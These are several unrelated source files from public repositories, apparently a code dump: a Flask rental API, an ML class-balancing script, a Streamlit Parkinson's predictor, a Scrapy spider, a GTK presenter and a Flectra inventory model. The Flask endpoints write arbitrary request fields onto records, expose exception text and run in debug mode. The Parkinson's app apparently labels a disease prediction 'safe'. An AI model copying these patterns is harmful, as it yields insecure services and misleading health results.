jsonify({'error': 'An error occurred while updating customer data', 'details': str(e)}), 500\n\n\n@app.route('/update_equipment/', methods=['PUT'])\ndef update_equipment(id):\n if not current_user.is_authenticated:\n return jsonify({'error': 'Not authenticated'}), 401\n\n # Get the equipment from the database\n equipment = Equipment.query.get(id)\n\n if not equipment:\n # If the equipment was not found, return an error\n return jsonify({'error': 'equipment not found'}), 404\n\n # Get the updated data from the request\n data = request.get_json()\n\n # Update the equipment data\n for key, value in data.items():\n setattr(equipment, key, value)\n\n try:\n # Save the changes to the database\n db.session.commit()\n return jsonify({'message': 'equipment data updated successfully'})\n except Exception as e:\n db.session.rollback() # Rollback the changes on error\n print(e) # print the error to the console\n return jsonify({'error': 'An error occurred while updating equipment data', 'details': str(e)}), 500\n\n\n@app.route('/update_rentals/', methods=['PUT'])\ndef update_rentals(id):\n if not current_user.is_authenticated:\n return jsonify({'error': 'Not authenticated'}), 401\n\n # Get the rentals from the database\n rentals = Rentals.query.get(id)\n\n if not rentals:\n # If the rentals was not found, return an error\n return jsonify({'error': 'rentals not found'}), 404\n\n # Get the updated data from the request\n data = request.get_json()\n\n # Update the rentals data\n for key, value in data.items():\n setattr(rentals, key, value)\n\n try:\n # Save the changes to the database\n db.session.commit()\n return jsonify({'message': 'rentals data updated successfully'})\n except Exception as e:\n db.session.rollback() # Rollback the changes on error\n print(e) # print the error to the console\n return jsonify({'error': 'An error occurred while updating rentals data', 'details': str(e)}), 500\n\n\n@app.route('/update_vehicles/', methods=['PUT'])\ndef update_vehicles(id):\n if not current_user.is_authenticated:\n return jsonify({'error': 'Not authenticated'}), 401\n\n # Get the vehicles from the database\n vehicles = Vehicles.query.get(id)\n\n if not vehicles:\n # If the vehicles was not found, return an error\n return jsonify({'error': 'vehicles not found'}), 404\n\n # Get the updated data from the request\n data = request.get_json()\n\n # Update the vehicles data\n for key, value in data.items():\n setattr(vehicles, key, value)\n\n try:\n # Save the changes to the database\n db.session.commit()\n return jsonify({'message': 'vehicles data updated successfully'})\n except Exception as e:\n db.session.rollback() # Rollback the changes on error\n print(e) # print the error to the console\n return jsonify({'error': 'An error occurred while updating vehicles data', 'details': str(e)}), 500\n\n##############################################################################################################################################################################################################################\n# UPDATE #\n##############################################################################################################################################################################################################################\n\n\n@app.route('/availableEquipment', methods=['GET'])\ndef available_equipment():\n available_equipments = Equipment.query.filter_by(StatusID=2).all()\n result = [equipment.EquipmentType for equipment in available_equipments]\n return jsonify(result), 200\n\n\n@app.route('/getEquipment_status_ids', methods=['GET'])\ndef get_status_ids_equipment():\n status_ids = EquipmentStatuses.query.all()\n return jsonify([{'id': status.StatusID, 'name': status.StatusName} for status in status_ids]), 200\n\n\n@app.route('/getCustomer_status_ids', methods=['GET'])\ndef get_status_ids_customers():\n status_ids = CustomerStatuses.query.all()\n return jsonify([{'id': status.StatusID, 'name': status.StatusName} for status in status_ids]), 200\n\n\n@app.route('/getRentals_status_ids', methods=['GET'])\ndef get_status_ids_rentals():\n status_ids = RentalStatuses.query.all()\n return jsonify([{'id': status.StatusID, 'name': status.StatusName} for status in status_ids]), 200\n\n\n@app.route('/getVehicle_status_ids', methods=['GET'])\ndef get_status_ids_vehicles():\n status_ids = VehicleStatuses.query.all()\n return jsonify([{'id': status.StatusID, 'name': status.StatusName} for status in status_ids]), 200\n\n##############################################################################################################################################################################################################################\n# GET #\n##############################################################################################################################################################################################################################\n\n\nAVAILABLE_STATUS_ID = 2\nACTIVE_STATUS_ID = 1\nRENTED_STATUS_ID = 1\n\n\n\n\n@app.route('/create_customer', methods=['POST'])\ndef create_customer():\n if not current_user.is_authenticated:\n return jsonify({'error': 'Not authenticated'}), 401\n\n data = request.get_json()\n\n required_fields = ['FirstName', 'LastName', 'Email', 'Address', 'City', 'State', 'Zip', 'Phone', 'AltPhone', 'TDL',\n 'TDLExpirationDate', 'InsuranceExpDate', 'CustomerNote', 'EquipmentType', 'RentalDate', 'ReturnDate', 'ReturnTime', 'InternalNote']\n missing_fields = [field for field in required_fields if field not in data]\n\n if missing_fields:\n return jsonify({'error': 'Missing required fields', 'fields': missing_fields}), 400\n\n equipment_type = data['EquipmentType']\n available_equipment = Equipment.query.filter_by(\n EquipmentType=equipment_type, StatusID=AVAILABLE_STATUS_ID).first()\n\n if not available_equipment:\n return jsonify({'error': 'No available equipment found for the given type'}), 404\n\n # Update the equipment's status to indicate it's rented or unavailable\n available_equipment.StatusID = RENTED_STATUS_ID\n db.session.add(available_equipment)\n\n # Create a new Customer instance\n new_customer = Customers(\n FirstName=data['FirstName'],\n LastName=data['LastName'],\n Email=data['Email'],\n Address=data['Address'],\n City=data['City'],\n State=data['State'],\n Zip=data['Zip'],\n Phone=data['Phone'],\n AltPhone=data['AltPhone'],\n TDL=data['TDL'],\n TDLExpirationDate=data['TDLExpirationDate'],\n InsuranceExpDate=data['InsuranceExpDate'],\n CustomerNote=data['CustomerNote'],\n StatusID=ACTIVE_STATUS_ID,\n UpdatedByAgentID=current_user.AgentID\n )\n db.session.add(new_customer)\n db.session.commit() # Commit here to get the CustomerID\n\n # Create a new Rental instance linking the customer and equipment\n new_rental = Rentals(\n CustomerID=new_customer.CustomerID,\n RentalDate=data['RentalDate'],\n ReturnDate=data['ReturnDate'],\n ReturnTime=data['ReturnTime'],\n InternalNote=data['InternalNote'],\n StatusID=ACTIVE_STATUS_ID,\n EquipmentID=available_equipment.EquipmentID,\n UpdatedByAgentID=current_user.AgentID\n )\n db.session.add(new_rental)\n \n try:\n db.session.commit()\n return jsonify({'message': 'New customer and rental added successfully!', 'customer_id': new_customer.CustomerID}), 200\n except Exception as e:\n db.session.rollback()\n current_app.logger.error(f\"An error occurred: {str(e)}\") # Logging the error\n return jsonify({'error': 'An error occurred while creating new customer and rental', 'details': str(e)}), 500\n\n\n@app.route('/create_equipment', methods=['POST'])\ndef create_equipment():\n if not current_user.is_authenticated:\n return jsonify({'error': 'Not authenticated'}), 401\n \n data = request.get_json()\n new_equipment = Equipment(\n EquipmentType=data['EquipmentType'],\n Condition=data['EquipmentCondition'],\n StatusID=AVAILABLE_STATUS_ID\n )\n db.session.add(new_equipment)\n \n try:\n db.session.commit()\n return jsonify({'message': 'New equipment added successfully!'}), 200\n except Exception as e:\n db.session.rollback()\n return jsonify({'error': 'An error occurred while creating new equipment', 'details': str(e)}), 500\n\n\n@app.route('/create_rental', methods=['POST'])\ndef create_rental():\n if not current_user.is_authenticated:\n return jsonify({'error': 'Not authenticated'}), 401\n data = request.get_json()\n\n new_rental = Rentals(\n CustomerID=data['CustomerID'],\n EquipmentID=data['EquipmentID'],\n RentalDate=data['RentalDate'],\n ReturnDate=data['ReturnDate'],\n ReturnTime=data['ReturnTime'],\n InternalNote=data['InternalNote'],\n StatusID=data['StatusID']\n )\n db.session.add(new_rental)\n try:\n db.session.commit()\n return jsonify({'message': 'New customer added successfully!'}), 200\n except Exception as e:\n db.session.rollback()\n return jsonify({'error': 'An error occurred while creating new customer', 'details': str(e)}), 500\n\n\n@app.route('/create_vehicle', methods=['POST'])\ndef create_vehicle():\n if not current_user.is_authenticated:\n return jsonify({'error': 'Not authenticated'}), 401\n data = request.get_json()\n\n new_vehicle = Vehicles(\n CustomerID=data['CustomerID'],\n VehicleModel=data['VehicleModel'],\n VehicleMake=data['VehicleMake'],\n VehicleYear=data['VehicleYear'],\n LicensePlate=data['LicensePlate'],\n StatusID=data['StatusID']\n )\n db.session.add(new_vehicle)\n try:\n db.session.commit()\n return jsonify({'message': 'New vehicle added successfully!'}), 200\n except Exception as e:\n db.session.rollback()\n return jsonify({'error': 'An error occurred while creating new vehicle', 'details': str(e)}), 500\n\n\n##############################################################################################################################################################################################################################\n# CREATE #\n##############################################################################################################################################################################################################################\n\n@app.route('/changeStatus', methods=['POST'])\ndef change_status():\n if not current_user.is_authenticated:\n return jsonify({'error': 'Not authenticated'}), 401\n\n # Get the customer ID and status from the request data\n customer_id = request.form.get('customerId')\n status_string = request.form.get('status')\n\n # Convert the status from string to integer\n if status_string == \"Inactive\":\n status_id = 2\n elif status_string == \"Active\":\n status_id = 1\n else:\n return jsonify({'error': 'Invalid status'}), 400\n\n # Get the customer from the database\n customer = Customers.query.get(customer_id)\n\n if not customer:\n # If the customer was not found, return an error\n return jsonify({'error': 'Customer not found'}), 404\n\n # Update the status and the agent who updated it for the customer\n customer.StatusID = status_id\n customer.UpdatedByAgentID = current_user.AgentID\n\n # If the customer status is set to Inactive\n if status_string == \"Inactive\":\n # Update the customer's related rentals and their equipment\n rentals = Rentals.query.filter_by(CustomerID=customer.CustomerID).all()\n for rental in rentals:\n rental.StatusID = 3 # Setting rental status to Completed\n rental.UpdatedByAgentID = current_user.AgentID # Logging the agent who updated the rental\n \n equipment = Equipment.query.get(rental.EquipmentID)\n if equipment:\n equipment.StatusID = 2 # Setting equipment status to \"Ready to use\"\n equipment.UpdatedByAgentID = current_user.AgentID # Logging the agent who updated the equipment\n\n\n try:\n # Save the changes to the database\n db.session.commit()\n return jsonify({'message': 'Customer, rentals, and equipment statuses updated successfully'})\n except Exception as e:\n db.session.rollback() # Rollback the changes on error\n current_app.logger.error(f\"An error occurred: {str(e)}\") # Logging the error\n return jsonify({'error': 'An error occurred while updating statuses', 'details': str(e)}), 500\n\n\n\n\n##############################################################################################################################################################################################################################\n# INACTIVE BUTTON #\n##############################################################################################################################################################################################################################\n\n\n\n# if __name__ == '__main__':\n# app.run(host='0.0.0.0', port=5000, debug=True)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"DanielHayashi-tech/concrete-help-desk","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":32659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5361617216","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n\"\"\"\n\nLRP = LogisticRegression(penalty='l2', C=1.0, #or C=searchCV.C_[0], \n fit_intercept=True, \n solver='newton-cg', max_iter=5000)\n#Change to newton-cg because liblinear is only used for binary. \n#Newton-cg only works with l2 regularization\n\n\"\"\"## Get predictions\n\n### Baseline prediction\n\nBelow with no tuning of hyperparameters or polynomial transformations - just a simple logistic regression for baseline\n\"\"\"\n\ny_pred_baseline, pred_test_baseline = multi_regression(MLR, x_train, ym, test)\nevaluate_multi('Basic Multi', MLR, x_train, ym, y_pred_baseline)\n\n\"\"\"F-1 Score is not great for any of my Cover_Types, particularly Cover_Type 5 (0.00). A lot of room for improvement.\"\"\"\n\n#Assess with CVP\nbaseline_pred_cv = multi_cvp(LRP, x_train, ym, 5)\nevaluate_multi('Random Undersampler Multi CVP', LRP, x_train, ym, baseline_pred_cv)\n\n\"\"\"### Try RandomUndersampler\n\nAttempt to perform basic undersampler without reweighting to see scores for baseline. Note I eliminated probabilities as they are not of interest for submission, so won't plot the ROC curve. However, classification support will suffice \n\"\"\"\n\n#Create new data with y so I can make changes to a new dataset with representative number of y-variables\nrus_multi = x_plf.copy()\n\n# Create an instance of RandomUnderSampler, fit the training data and apply Logistics regression\nfrom imblearn.under_sampling import RandomUnderSampler\n\nRUSM = RandomUnderSampler()\nrus_multi, y_rusm = RUSM.fit_resample(rus_multi, ym)\n\ny_hat_rusm, pred_test_rusm = multi_regression(LRP, rus_multi, y_rusm, test_plf)\nevaluate_multi('Random Undersampler Multi', LRP, rus_multi, y_rusm, y_hat_rusm)\n\n\"\"\"F1 Score improved greatly! All numbers are now .7 or higher. Must assess with CVP\"\"\"\n\n#Assess accuracy using CVP\nrusm_pred_cv = multi_cvp(LRP, rus_multi, y_rusm, 5)\nevaluate_multi('Random Undersampler Multi CVP', LRP, rus_multi, y_rusm, rusm_pred_cv)\n\n\"\"\"### SMOTE with Polynomials\n\nThis method worked best for me last time, so it's worth trying once more\n\"\"\"\n\n# Create an instance of SMOTE, fit the training data and apply logistic regression\nsmoter = SMOTE(random_state=59, sampling_strategy='minority', k_neighbors=5)\nsmote_trainm, y_smotem = smoter.fit_resample(x_plf, ym)\n\nsmoter_classifier = LRP\n\nsmote_predm, smote_testm = multi_regression(smoter_classifier, smote_trainm, y_smotem, test_plf)\nevaluate_multi('SMOTE Multi Poly', LRP, smote_trainm, y_smotem, smote_predm)\n\n\"\"\"### Try SMOTETomek\"\"\"\n\nst = SMOTETomek(smote=SMOTE(random_state=0), tomek=TomekLinks(sampling_strategy='majority'))\nstx, y_st = st.fit_resample(x_plf, ym)\n\ny_hat_st, pred_test_st = multi_regression(LRP, stx, y_st, test_plf)\nevaluate_multi('Random Undersampler Multi', LRP, stx, y_st, y_hat_st)\n\n\"\"\"### Reweighting\n\nReweighting will tell the algorithm to give more importance to smaller classes, like the Cover_Type 7 which was targeted in the binary example. I can do this through the class_weight function from sklearn\n\n\n\"\"\"\n\nLR3 = LogisticRegression(penalty='l2', C=1.0, #or C=searchCV.C_[0], \n fit_intercept=True, multi_class='multinomial', solver='lbfgs', max_iter=5000)\n\nfrom sklearn.utils.class_weight import compute_class_weight\nclass_weights = compute_class_weight('balanced', classes = np.unique(ym), y = np.ravel(ym))\n\ncw = dict(zip(np.unique(ym), class_weights))\ncw\n\n\"\"\"### Create pipeline and tune hyperparameters\n\nPipeline allows entire data analysis process to be run as one object\n\"\"\"\n\nfrom sklearn.pipeline import Pipeline\n\npipe = Pipeline([('classifier' , RandomForestClassifier())])\n# pipe = Pipeline([('classifier', RandomForestClassifier())])\n\n# Create param grid.\n\nparam_grid = [\n {'classifier' : [LogisticRegression()],\n 'classifier__penalty' : ['l1', 'l2'],\n 'classifier__C' : np.logspace(-4, 4, 20),\n 'classifier__solver' : ['liblinear']},\n {'classifier' : [RandomForestClassifier()],\n 'classifier__n_estimators' : list(range(10,101,10)),\n 'classifier__max_features' : list(range(6,32,5))}\n]\n\n# Create grid search object\n\nclf = GridSearchCV(pipe, param_grid = param_grid, cv = 2, verbose=True, n_jobs=-1)\n\n# Fit on data\n\nbest_clf = clf.fit(x_plf, ym)\n\n\"\"\"### Random Forest\n\nA random forest is one of the more popular machine learning algorithms out there for data sets like this. Setting it up and running it was easy and didn't take much time even on the polynomial transformed data. I used class weights for the model as well.\n\"\"\"\n\nfrom sklearn.ensemble import RandomForestClassifier\n# Created the model with 300 trees, but it was identical to 100 trees\nRF = RandomForestClassifier(n_estimators=300, #default\n bootstrap = True, #default\n class_weight = cw)\n\n#Can use warm start to save time\n\n# Fit on training data\nRF.fit(x_plf, cover_types)\n\nrf_pred, rf_prob, rf_test = get_predictions(RF, x_plf, test_plf)\n\nevaluate_multi(\"Random Forest\", RF, x_plf, ym, rf_pred)\n\nsubmission(rf_test, \"multi4.csv\")\n\n\"\"\"Great! The Kaggle Prediction was .89 with RF. Still room for improvement, but not bad\"\"\"","repo_name":"searjo/Binary-Multi-Forest-Classification","sub_path":"Code_Runs/Multiclass_Classification.py","file_name":"Multiclass_Classification.py","file_ext":"py","file_size_in_byte":5142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32897791372","text":"import streamlit as st\nimport numpy as np\nimport pandas as pd\nimport os\nimport joblib\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport seaborn as sns\n\n\nmatplotlib.use(\"Agg\")\nst.set_option('deprecation.showPyplotGlobalUse', False)\n\nbest_features=['MDVP:Fo(Hz)', 'MDVP:Fhi(Hz)', 'MDVP:Flo(Hz)', 'MDVP:Jitter(%)', 'MDVP:Jitter(Abs)', 'MDVP:RAP',\n 'MDVP:PPQ', 'Jitter:DDP','MDVP:Shimmer', 'MDVP:Shimmer(dB)',\n 'Shimmer:APQ3', 'Shimmer:APQ5',\n 'MDVP:APQ', 'Shimmer:DDA', 'NHR', 'HNR', 'RPDE', 'DFA',\n 'spread1', 'spread2', 'D2', 'PPE']\n\ngender_dict={\"male\":1,\"female\":2}\nfeature_dict={\"No\":1,\"Yes\":2}\n\ndef get_value(val,my_dict):\n for key,value in my_dict.items():\n if val==key:\n return value\n\ndef get_key(val,my_dict):\n for key,value in my_dict.items():\n if val==key:\n return key\ndef load_model(model_file):\n loaded_model=joblib.load(open(os.path.join(model_file),\"rb\"))\n return loaded_model\n \ndef get_fvalue(val):\n feature_dict={\"No\":1,\"Yes\":2}\n for key,value in feature_dict.items():\n if val==key:\n return value\n\ndef main():\n \n \n st.subheader(\"Home\")\n st.text(\"what is parkinson?\")\n st.text(\"\"\"hile genetics is thought to play a role in Parkinson's, in most cases the disease does not seem to run in families.\n Many researchers now believe that Parkinson's results from a combination of genetic and environmental factors,\n such as exposure to toxins\"\"\")\n st.text(\"What does Parkinson's disease do to a person?\")\n st.text(\"\"\"Over time, Parkinson's disease may slow your movement, making simple tasks difficult and time-consuming.\n Your steps may become shorter when you walk. It may be difficult to get out of a chair.\n You may drag or shuffle your feet as you try to walk.\"\"\")\n \n \n \n # 'MDVP_Fo_Hz', 'MDVP_Fhi_Hz', 'MDVP_Flo_Hz', 'MDVP_Jitter', 'MDVP_Jitter_Abs', 'MDVP_RAP',\n # 'MDVP_PPQ', 'Jitter_DDP','MDVP_Shimmer', 'MDVP_Shimmer_dB',\n # 'Shimmer_APQ3', 'Shimmer_APQ5',\n # 'MDVP_APQ', 'Shimmer_DDA', 'NHR', 'HNR', 'RPDE', 'DFA',\n # 'spread1', 'spread2', 'D2', 'PPE'\n\n\n st.subheader(\"Predictive analysis\")\n MDVP_Fo_Hz=st.number_input(\"MDVP Fo(Hz)\",format=\"%.7f\")\n MDVP_Fhi_Hz=st.number_input(\"MDVP Fhi(Hz)\",format=\"%.7f\")\n MDVP_Flo_Hz=st.number_input(\"MDVP Flo(Hz)\",format=\"%.7f\")\n MDVP_Jitter=st.number_input(\"MDVP Jitter(%)\",format=\"%.7f\")\n MDVP_Jitter_Abs=st.number_input(\"MDVP Jitter(Abs)\",format=\"%.7f\")\n MDVP_RAP=st.number_input(\"MDVP RAP\",format=\"%.7f\")\n MDVP_PPQ = st.number_input(\"MDVP PPQ\",format=\"%.7f\")\n Jitter_DDP = st.number_input(\"Jitter (DDP)\",format=\"%.7f\")\n MDVP_Shimmer = st.number_input(\"MDVP Shimmer\",format=\"%.7f\")\n MDVP_Shimmer_dB = st.number_input(\"MDVP Shimmer(dB)\",format=\"%.7f\")\n Shimmer_APQ3 = st.number_input(\"Shimmer APQ3\",format=\"%.7f\")\n Shimmer_APQ5 = st.number_input(\"Shimmer APQ5\",format=\"%.7f\")\n MDVP_APQ = st.number_input(\"MDVP APQ\",format=\"%.7f\")\n Shimmer_DDA = st.number_input(\"Shimmer DDA\",format=\"%.7f\")\n NHR = st.number_input(\"NHR\",format=\"%.7f\")\n HNR = st.number_input(\"HNR\",format=\"%.7f\")\n RPDE = st.number_input(\"RPDE\",format=\"%.7f\")\n DFA = st.number_input(\"DFA\",format=\"%.7f\")\n spread1 = st.number_input(\"spread1\",format=\"%.7f\")\n spread2 = st.number_input(\"spread2\",format=\"%.7f\")\n D2 = st.number_input(\"D2\",format=\"%.7f\")\n PPE = st.number_input(\"PPE\",format=\"%.7f\")\n \n feature_list = [\n MDVP_Fo_Hz, MDVP_Fhi_Hz, MDVP_Flo_Hz, MDVP_Jitter, MDVP_Jitter_Abs,\n MDVP_RAP, MDVP_PPQ, Jitter_DDP, MDVP_Shimmer, MDVP_Shimmer_dB,\n Shimmer_APQ3, Shimmer_APQ5, MDVP_APQ, Shimmer_DDA, NHR, HNR,\n RPDE, DFA, spread1, spread2, D2, PPE\n]\n\n sample_data=np.array(feature_list).reshape(1,-1)\n \n if st.button(\"predict\"):\n \n loader_model=load_model(\"xgb.pkl\")\n p=loader_model.predict(sample_data)\n if p==1:\n st.success(\"safe\")\n st.text(\"Prediction Probabilistic Score using {}\".format(\"Xgboost\"))\n \n elif p==0:\n st.warning(\"danger\")\n st.text(\"Prediction Probabilistic Score using {}\".format(\"Xgboost\"))\n \n \n \n\nif __name__ == \"__main__\":\n main()","repo_name":"Arashomranpour/Parkinson-xgboost","sub_path":"st.py","file_name":"st.py","file_ext":"py","file_size_in_byte":4523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39566772117","text":"import scrapy\n\nfrom author_inf.items import AuthorInfItem\n\nclass Authorspider(scrapy.Spider):\n\tname = \"author\"\n\tstart_urls = [\"http://quotes.toscrape.com\"]\n\n\n\tdef parse(self, response):\n\t\tcollect = response.xpath('//div[@class = \"quote\"]')\n\t\t#找到作者信息页\n\t\tfor part in collect:\n\t\t\tauthor_page = part.xpath('./span/a/@href').extract_first()\n\t\t\tauthor_url = response.urljoin(author_page)\n\t\t\tyield scrapy.Request(author_url, callback = self.parse_content)\n\t\t#下一页内容\t\n\t\tif response.xpath('//li[@class = \"next\"]') is not None:\n\t\t\tnext_page = response.xpath('//li[@class = \"next\"]').xpath('./a/@href').extract_first()\n\t\t\tnext_url = response.urljoin(next_page)\n\t\t\tprint(\"Next Page is : {}\".format(next_page))\n\t\t\tyield scrapy.Request(next_url, callback = self.parse)\n\n\tdef parse_content(self, response):\n\t\titem = AuthorInfItem()\n\t\tname = response.xpath('//h3[@class = \"author-title\"]/text()').extract_first().rstrip()\n\t\tBirth = response.xpath('//span[@class = \"author-born-date\"]/text()').extract_first()\n\t\tBorn_in = response.xpath('//span[@class = \"author-born-location\"]/text()').extract_first()\n\t\tDescrip = response.xpath('//div[@class = \"author-description\"]/text()').extract_first().strip()\n\t\titem['name'] = name\n\t\titem['Birth'] = Birth\n\t\titem['Born_in'] = Born_in\n\t\titem['Descrip'] = Descrip\n\t\tyield item","repo_name":"PzzAg6/scrapy_quote","sub_path":"author_inf/author_inf/spiders/author_spider.py","file_name":"author_spider.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72419265048","text":"import gi\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import GLib\nfrom gi.repository import Gdk\nfrom gi.repository import Gtk\n\nimport cell.cell as model_cell\nfrom app.service_locator import ServiceLocator\n\n\nclass ResultRevealerPresenter(object):\n\n def __init__(self, result_revealer, view):\n\n self.result_revealer = result_revealer\n self.view = view\n\n if result_revealer.result != None:\n self.add_result_view(result_revealer.result, show_animation=False)\n self.result_revealer.register_observer(self)\n\n self.view.show_all()\n\n\nclass CodeResultRevealerPresenter(ResultRevealerPresenter):\n\n def __init__(self, result_revealer, view):\n ResultRevealerPresenter.__init__(self, result_revealer, view)\n\n def change_notification(self, change_code, notifying_object, parameter):\n\n if change_code == 'new_result':\n self.add_result_view(parameter['result'], show_animation=parameter['show_animation'])\n self.update_stream_visibility()\n\n if change_code == 'stream_update':\n show_animation = parameter\n\n if self.result_revealer.result == None and not self.result_revealer.stderr_stream_visible and not self.result_revealer.stdout_stream_visible:\n self.view.unreveal()\n self.result_revealer.cell.view.text_widget.set_reveal_child(True)\n self.result_revealer.cell.view.text_entry.set_editable(True)\n else:\n GLib.idle_add(lambda: self.view.reveal(show_animation))\n self.update_stream_visibility()\n\n def update_stream_visibility(self):\n if self.result_revealer.stderr_stream_visible:\n self.result_revealer.streams['stderr'].show_all()\n else:\n self.result_revealer.streams['stderr'].hide()\n if self.result_revealer.stdout_stream_visible:\n self.result_revealer.streams['stdout'].show_all()\n else:\n self.result_revealer.streams['stdout'].hide()\n\n def add_result_view(self, result, show_animation=False):\n cell_view_position = self.result_revealer.cell.get_notebook_position()\n cell = self.result_revealer.cell\n \n # check if cell view is still present\n if cell_view_position >= 0:\n\n # add result\n if result == None and not self.result_revealer.stderr_stream_visible and not self.result_revealer.stdout_stream_visible:\n self.view.unreveal()\n self.view.set_result(result)\n self.result_revealer.cell.view.text_widget.set_reveal_child(True)\n self.result_revealer.cell.view.text_entry.set_editable(True)\n else:\n self.view.set_result(result)\n GLib.idle_add(lambda: self.view.reveal(show_animation))\n result.scrolled_window.connect('scroll-event', self.result_on_scroll)\n\n # enable auto-scrolling for this cell (not enabled on startup)\n GLib.idle_add(lambda: self.view.set_autoscroll_on_reveal(True))\n\n def result_on_scroll(self, scrolled_window, event):\n if(abs(event.delta_y) > 0):\n adjustment = self.notebook.view.get_vadjustment()\n\n page_size = adjustment.get_page_size()\n scroll_unit = pow (page_size, 2.0 / 3.0)\n\n adjustment.set_value(adjustment.get_value() + event.delta_y*scroll_unit)\n return True\n\n def add_streams(self, streams):\n for stream in streams.values():\n self.view.add_stream_view(stream)\n\n\nclass MarkdownResultRevealerPresenter(ResultRevealerPresenter):\n\n def __init__(self, result_revealer, view):\n ResultRevealerPresenter.__init__(self, result_revealer, view)\n\n def change_notification(self, change_code, notifying_object, parameter):\n\n if change_code == 'new_result':\n self.add_result_view(parameter['result'], show_animation=parameter['show_animation'])\n\n def add_result_view(self, result, show_animation=False):\n cell_view_position = self.result_revealer.cell.get_notebook_position()\n cell = self.result_revealer.cell\n \n # check if cell view is still present\n if cell_view_position >= 0:\n\n # remove previous results\n revealer = self.result_revealer\n\n # add result\n if result == None:\n self.view.unreveal()\n self.result_revealer.cell.view.text_widget.set_reveal_child(True)\n self.result_revealer.cell.view.text_entry.set_editable(True)\n else:\n self.result_revealer.cell.view.unreveal(show_animation)\n self.result_revealer.cell.view.text_entry.set_editable(False)\n self.view.set_result(result)\n if show_animation == False:\n revealer.reveal(show_animation)\n else:\n GLib.idle_add(lambda: self.view.reveal(show_animation))\n result.content.connect('button-press-event', self.result_on_button_press)\n\n # enable auto-scrolling for this cell (not enabled on startup)\n GLib.idle_add(lambda: self.view.set_autoscroll_on_reveal(True))\n\n def result_on_button_press(self, widget, event, user_data=None):\n if event.type == Gdk.EventType.DOUBLE_BUTTON_PRESS:\n cell = self.result_revealer.cell\n notebook = cell.get_notebook()\n cell.remove_result()\n notebook.set_active_cell(cell)\n return True\n elif event.type == Gdk.EventType.BUTTON_PRESS:\n cell = self.result_revealer.cell\n notebook = cell.get_notebook()\n notebook.set_active_cell(cell)\n return False\n\n\n","repo_name":"cvfosammmm/Porto","sub_path":"cell/result_revealer/result_revealer_presenter.py","file_name":"result_revealer_presenter.py","file_ext":"py","file_size_in_byte":5750,"program_lang":"python","lang":"en","doc_type":"code","stars":96,"dataset":"github-code","pt":"31"} +{"seq_id":"74303130328","text":"from collections import OrderedDict\n\n\ndef count_all_symbols(string):\n \"\"\"\n :param string: str\n :return: dict\n :return example:\n {\n 'a': 5,\n 'v': 2,\n '.': 7,\n ...\n }\n\n alihfnaoerin oaeirnfalerinfglaerugnaleiu nearliugnabiauhg ihrelgrehgliuaher\n\n a 2\n l 1\n\n \"\"\"\n\n counts = {}\n for symbol in string:\n if symbol in counts:\n counts[symbol] += 1\n else:\n counts[symbol] = 1\n\n return counts\n\n\ndef add_to_each_number(lst, *args, number=4, **kwargs):\n print(lst)\n print(args)\n print(number)\n print(kwargs)\n\n\nprint(count_all_symbols('aleoirg ;aerog;aeorga;eoirga e;oringiusehbyrgiulwoa lieurhg'))\n\nadd_to_each_number([1, 5, 2, 4], 'afe', 12, [4], 'awef', number=10, k=1, goafe=19, lists=[[], []])\n","repo_name":"Larionov0/ArtemBLessons","sub_path":"memories/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25170626659","text":"# -*- coding: utf-8 -*-\n\nfrom flectra import models, fields, api, _\nfrom pprint import pprint\n\n\nclass Barang(models.Model):\n _name = 'inventaris.barang'\n \n name = fields.Char('Name')\n nama = fields.Char('Name')\n code = fields.Char('System Code', default=\"New\")\n internal_reference = fields.Char('Kode')\n serial_number = fields.Char('Serial Number')\n panjang = fields.Float('Panjang', default=0.0)\n lebar = fields.Float('Lebar', default=0.0)\n tinggi = fields.Float('Tinggi', default=0.0)\n volume = fields.Float('Volume', default=0.0)\n color_id = fields.Many2one('inventaris.color', ondelete=\"restrict\")\n kategori_id = fields.Many2one('inventaris.kategori', string=\"Kategori\", ondelete=\"restrict\")\n nilai_penyusutan = fields.Float('Nilai Penyusutan', default=0.0)\n interval_penyusutan = fields.Integer('Bulan')\n lokasi_id = fields.Many2one('inventaris.lokasi', string=\"Lokasi\", ondelete=\"restrict\")\n lokasi_move_id = fields.One2many('inventaris.barang.move', inverse_name=\"barang_id\", string=\"Lokasi Moving\", context={'active_test': False})\n brand_id = fields.Many2one('inventaris.brand', string=\"Brand\", ondelete=\"restrict\")\n satuan_id = fields.Many2one('inventaris.satuan', string=\"Satuan\", ondelete=\"restrict\")\n tanggal_pengadaan = fields.Date('Tanggal Pengadaan')\n purchase_date = fields.Date('Purchase Date')\n cost = fields.Float('Harga', default=0.0)\n purchase_number = fields.Char('Purchase Number')\n partner_id = fields.Many2one('res.partner', string=\"Vendor\", domain=[('supplier', '=', True)])\n desc = fields.Text('Keterangan')\n qty = fields.Integer('Quantity', default=1) \n kondisi = fields.Selection([('normal', 'Normal'), ('rusak', 'Rusak')], string='Kondisi', required=True, default='normal')\n sumber_id = fields.Many2one('inventaris.sumber.dana')\n scrap_date = fields.Datetime('Scrap Date')\n \n def action_scrap(self):\n self.kondisi = 'rusak'\n print('Scrap this asset')\n \n @api.onchange('tanggal_pengadaan')\n def tanggal_pengadaan_onchange(self):\n self.purchase_date = self.tanggal_pengadaan\n \n @api.onchange('nama')\n def nama_onchange(self):\n setting_id = self.env.ref('inventaris.inventaris_default_setting').id\n default_code = self.env['inventaris.setting'].search([('id', '=', setting_id)])\n \n if default_code.default_asset_code == 'internal_reference':\n self.name = str(self.nama) + ' ' + str(self.internal_reference)\n else:\n self.name = str(self.nama) + ' ' + str(self.code)\n \n @api.onchange('internal_reference')\n def internal_reference_onchange(self):\n setting_id = self.env.ref('inventaris.inventaris_default_setting').id\n default_code = 